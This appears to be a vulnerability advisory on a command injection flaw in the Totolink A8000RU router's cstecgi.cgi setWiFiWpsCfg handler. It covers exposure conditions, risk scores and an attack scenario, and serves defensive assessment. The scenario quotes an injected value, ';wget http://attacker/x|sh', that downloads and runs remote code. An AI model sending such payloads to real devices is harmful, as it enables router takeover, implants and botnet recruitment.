Totolink A8000RU CVE-2026-9434

No special conditions - remote unauthenticated exploitation against default configurations of the Totolink A8000RU running firmware 7.1cu.643_b20200521, requiring only network reachability to the /cgi-bin/cstecgi.cgi endpoint of the Web Management Interface and the ability to send an HTTP request invoking setWiFiWpsCfg with a crafted wscDisabled argument. Limiting factors: the attacker must be able to reach the web management interface (typically LAN-side by default; WAN-side only if remote administration is enabled), and exploitation is constrained to the specific firmware build 7.1cu.643_b20200521 - devices on other firmware revisions are not confirmed vulnerable from the provided data.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) describes a network-reachable, low-complexity, unauthenticated attack with high confidentiality, integrity, and availability impact, yielding a base score of 8.9 - consistent with full router compromise. However, EPSS at 0.89% (76th percentile) is moderate rather than high, reflecting that consumer/SOHO router vulnerabilities typically see opportunistic rather than mass exploitation, and the device is not present in CISA KEV. Publicly available exploit code (VulDB-linked GitHub PoC) materially raises the practical risk, especially for any A8000RU with its web management interface exposed to the internet or to untrusted LAN segments; for internet-exposed devices this should be treated as a high priority despite the modest EPSS, while LAN-only deployments behind a separate perimeter have a meaningfully reduced realistic risk.

An attacker discovers an A8000RU with its web management interface reachable (Shodan-style scan for the cstecgi.cgi endpoint or vendor banner) and sends a single crafted HTTP POST to /cgi-bin/cstecgi.cgi invoking setWiFiWpsCfg with a wscDisabled value containing shell metacharacters (e.g., ;wget http://attacker/x|sh). Because publicly available exploit code exists on GitHub via the VulDB submission, the attacker can copy-paste a working payload to drop a persistent implant, pivot into the LAN, or enroll the device in a router botnet - all without authentication.